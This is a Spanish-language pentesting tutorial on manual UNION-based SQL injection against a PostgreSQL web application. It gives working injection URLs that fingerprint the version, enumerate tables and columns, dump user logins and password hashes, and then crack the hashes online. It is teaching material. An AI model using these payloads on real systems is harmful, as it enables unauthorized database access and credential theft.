Artículo · Pentesting a Aplicaciones Web

Inyección SQL: Postgresql

Samuel EstebanSamuel Esteban 5 min de lectura

Continuando con las inyecciones SQL de manera manual, el día de hoy nos enfocaremos en el motor de base de datos PostgreSQL. Este motor permite almacenar una gran cantidad de información, y lógicamente si se programa de forma inadecuada es posible dejar al descubierto esta vulnerabilidad, a continuación tenemos el siguiente escenario:

 

Inyección SQL - Postgresql

 

Pg_exec() es una sentencia de Postgresql la cual permite ejecutar una consulta a la base de datos, por esta razón podemos asumir que se está utilizando Postgresql. Posteriormente utilizaremos la sentencia ORDER BY para detectar la cantidad de registros de la BD.

 

Inyección SQL – Postgresql Order BY (1)

 

 

Inyección SQL – Postgresql Order BY (2)

 

Podemos ver que el número de registros de la base de datos es de 4. Posteriormente usaremos la sentencia UNION SELECT para verificar el campo en el cual podremos realizar la inyección.

 

www.sitiowebpostgresql.com/index.php?id=1 UNION SELECT 1,2,3,4 -- 

Inyección SQL – Postgresql UNION SELECT (1)

 

Al querer utilizar realizar la consulta SQL esta nos arroja un error  ya que nos indica que en algunos campos (si no todos) estamos ingresando números enteros y la sentencia solo recibe datos de tipo string. Para esto agregaremos comillas simples a  cada uno de los números para ver cuál campo es de tipo string y cual es de tipo entero.

 

 Inyección SQL – Postgresql UNION SELECT (2)

 

www.sitiowebpostgresql.com/index.php?id=1 UNION SELECT 1,’2’,’3’,4 -- 

 

Podemos notar que los campos 2 y 3 son de tipo enteros, mientras que los campos 1 y 4 son de tipo string, además al visualizar el sitio web, este nos indica que podemos realizar consultas a través del campo número 2. (NOTA: para usar sentencias SQL en campo número 2 es necesario quitar las comillas simples).

 

En primer lugar verificaremos la versión de Postgresql que se está utilizando la siguiente sentencia:

 

www.sitiowebpostgresql.com/index.php?id=1 UNION SELECT 1,version(),’3’,4 -- 

 

Inyección SQL – Postgresql versión

 

Nos muestra que la versión de Postgresql es la 8.4.13 además nos dice que se está utilizando un sistema operativo de Linux, específicamente un Debian 4.4.5-8 con arquitectura de 32 bits, esto ya es información relevante. Luego intentaremos obtener todas las tablas de las base de datos del sistema, la estructura para realizar esto es igual a Mysql.

 

www.sitiowebpostgresql.com/index.php?id=1 UNION SELECT 1,table_name,’3’,4  from information_schema.tables --

Inyección SQL – Postgresql, extracción de tablas de las bases de datos

Como mencionamos con anterioridad es posible que en algunos casos no se nos muestre todas las tablas de las bases de datos del sistema, para esto es necesario utilizar la sentencia LIMIT y de esta manera poder iterar y mostrar cada una de las tablas.

 

La estructura de LIMIT en Postgresql es similar a Mysql, sin embargo tiene algunas diferencias como la sentencia OFFSET. A continuación se muestran unos ejemplos:

 

www.sitiowebpostgresql.com/index.php?id=1 UNION SELECT 1,table_name,’3’,4  from information_schema.tables LIMIT 4 --

Esto nos muestra los primeros 4 registros empezando desde el 1. (1,2,3,4).

 

www.sitiowebpostgresql.com/index.php?id=1 UNION SELECT 1,table_name,’3’,4  from information_schema.tables LIMIT 3 OFFSET 2 --

Esto indica que se deben mostrar tres registros empezando desde la posición dos.

(3,4,5)

 

www.sitiowebpostgresql.com/index.php?id=1 UNION SELECT 1,table_name,’3’,4  from information_schema.tables LIMIT 4 OFFSET 5 --

Esto indica que se deben mostrar cuatro registros empezando desde la posición cinco.

(6,7,8,9).


Inyección SQL – Postgresql, uso de LIMIT y OFFSET

 

Como logramos encontrar la tabla usuarios, a continuación la extraeremos con sus respectivas columnas. Para esto debemos hacer algo similar a Mysql, convertir el nombre de la tabla (users) a formato char de Postgresql, para realizar este proceso le dejare el siguiente link:


http://www.waraxe.us/sql-char-encoder.html

                  

Inyección SQL – Postgresql, encodeando tabla users

 

El valor encodeado de la tabla users es CHR(117)||CHR(115)||CHR(101)||CHR(114)||CHR(115). La estructura de la consulta final es la siguiente:

 

www.sitiowebpostgresql.com/index.php?id=1 UNION SELECT 1,column_name,’3’,4  from information_schema.columns where table_name= CHR(117)||CHR(115)||CHR(101)||CHR(114)||CHR(115) --

Con esto le estamos diciendo que nos devuelva todas las columnas de la tabla users.

 

Inyección SQL – Postgresql, columnas de tabla users


Finalmente extraeremos los datos de cada uno de estos campos. Para realizar una concatenación de cada uno de los campos utilizaremos el valor || ‘ : ‘ ||. El cual nos permitirá realizar una concatenación separada por dos puntos.

 

www.sitiowebpostgresql.com/index.php?id=1 UNION SELECT 1, id || ' : '|| login || ' : ' || password ,’3’,4  from users --

 

Inyección SQL – Postgresql, extracción de credenciales del sistema

 

Realizaremos el crack del hash md5, utilizando el sitio web HashKiller. Este sitio web posee una base de datos muy completa la cual permite realizar cracking sobre diversos tipos de hash.

https://hashkiller.co.uk/md5-decrypter.aspx

  

Inyección SQL – Postgresql, cracking del hash MD5

 

Con esto hemos finalizado la inyección SQL de Postgresql, es importante aprender a realizar inyecciones SQL de manera manual para comprender el funcionamiento de dichas inyecciones.

¿Quieres aprender estas técnicas en profundidad?

Continúa tu ruta con Web Application Testing.

Samuel Esteban

Escrito por

Samuel Esteban

Senior Pentester

Actualmente me desempeño como Pentester...

Sigue leyendo

Sqlmap - ejemplo con metasploitable2
Pentesting a Aplicaciones Web

Sqlmap - ejemplo con metasploitable2

MMartin Frias

Hola, soy Martin Frias y en esta vez hablaré un poco sobre Sqlmap, Sqlmap es una herramienta que permite automatizar las inyecciones sql. La inyección sql es una vulnerabilidad que nos permite la inyección de código sql para que pueda ser ejecutado e interpretado y así obtener información de la base de datos, información a la que normalmente no deberíamos tener acceso, yo recomiendo fuertemente aprender lenguaje sql, para poder saber hacer inyecciones slq de forma manual, de manera que  si vas a usar herramientas automatizadas como sqlmap, por ejemplo, que sea por ahorrar algo de tiempo, porque siempre es mejor saber qué está haciendo un herramienta por detrás, no solo escribir un comando y no saber exactamente qué acabamos de hacer.

Portainer es una herramienta web open-source: Gestor Web para Docker
Pentesting a Aplicaciones Web

Portainer es una herramienta web open-source: Gestor Web para Docker

Javier Candia

En los últimos años, las tecnologias de irutalizacioon de servicios y plataformas ha tomado poder en el mundo de las implementaciones. Uno de ellos es Docker, el cuál nos permite automatizar el despliegue de aplicaciones dentro de contenedores de software. A grandes ragos, Docker permite meter en un contenedor (un entorno cerrado) aquellas cosas que mi aplicación necesita para ser ejecutada (java, Maven, tomcat…) y la propia aplicación. Ese contenedor puede llevarse a cualquier máquina que tenga instalado Docker y ejecutar la aplicación independientemente de qué sistema operativo es, de si son compatibles o no.

Evil Limiter
Pentesting a Aplicaciones Web

Evil Limiter

Erik Garcia

Si se encuentra con un compañero de cuarto que acapara el ancho de banda de datos limitado con videojuegos o descubre que un vecino se ha invitado a su red Wi-Fi, puede recuperar fácilmente el control de su acceso a Internet. Evil Limiter hace esto al permitirle controlar la velocidad de bits de cualquier dispositivo en la misma red que usted, lo que le permite reducir o incluso detener la velocidad de transferencia de datos por completo.